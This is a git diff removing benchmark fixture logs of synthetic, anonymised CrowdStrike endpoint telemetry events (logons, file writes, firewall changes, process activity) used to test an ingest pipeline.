-{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
deleted file mode 100644
index 6f96985067..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
+++ /dev/null
@@ -1 +0,0 @@
-{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
deleted file mode 100644
index 4ba49239c2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
+++ /dev/null
@@ -1,4 +0,0 @@
-{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"}
-{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
deleted file mode 100644
index cdbb227d80..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
+++ /dev/null
@@ -1,18 +0,0 @@
-{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"}
-{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"}
-{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"}
-{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
deleted file mode 100644
index 5e2379c0d8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
+++ /dev/null
@@ -1,121 +0,0 @@
-{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"}
-{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"}
-{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"}
